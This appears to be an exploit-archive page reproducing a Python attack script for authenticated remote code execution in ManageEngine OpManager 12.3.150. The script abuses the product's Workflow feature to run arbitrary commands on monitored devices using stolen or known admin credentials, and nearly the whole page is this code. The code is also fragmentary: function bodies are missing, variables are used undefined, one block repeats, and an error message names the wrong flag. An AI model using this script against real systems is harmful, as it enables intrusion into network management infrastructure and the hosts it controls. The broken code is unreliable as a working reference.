Exploits / Vulnerability Discovered : 2019-08-14 |
Type : webapps |
Platform : windows
This exploit / vulnerability Manageengine opmanager 12.3.150 authenticated code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/env python3
# Exploit Title: ManageEngine opManager Authenticated Code Execution
# Google Dork: N/A
# Date: 08/13/2019
# Exploit Author: @kindredsec
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/network-monitoring/download.html
# Version: 12.3.150
# Tested on: Windows Server 2016
# CVE: N/A
import requests
import re
import random
import sys
import json
import string
import argparse
if "has been created successfully" in makeWorkFlow.text:
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
else:
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
sys.exit(1)
if "has been created successfully" in makeWorkFlow.text:
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
else:
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
sys.exit(1)
return workFlowName
# Get the ID of the newly created workflow
def getWorkflowID(target, session, apiKey, workflowName):
if re.match(r"^\[.*\]$", workflowExec.text.strip()):
print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!")
else:
print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.")
sys.exit(1)
parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.")
parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)")
parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.")
parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.")
parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.")
args = parser.parse_args()
insufficient_args = False
if not args.u:
print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.")
insufficient_args = True
if not args.t:
print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.")
insufficient_args = True
if not args.p:
print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.")
insufficient_args = True
if not args.c:
print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.")
insufficient_args = True
# if there's only one device in the OpManager instance, default to running commands on that device;
# no need to ask the user.
if len(devices.keys()) == 1:
device = list(devices.keys())[0]
else:
print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:")
print("")
counter = 1
for key in devices.keys():
print(f" {counter}: {key} ({devices[key][0]}) ({devices[key][1]})")
print("")
while True:
try:
prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: "
devSelect = int(input(prompt))
except KeyboardInterrupt:
sys.exit(1)
except ValueError:
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
sys.exit(1)
if devSelect < 1 or devSelect > len(list(devices.keys())):
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
sys.exit(1)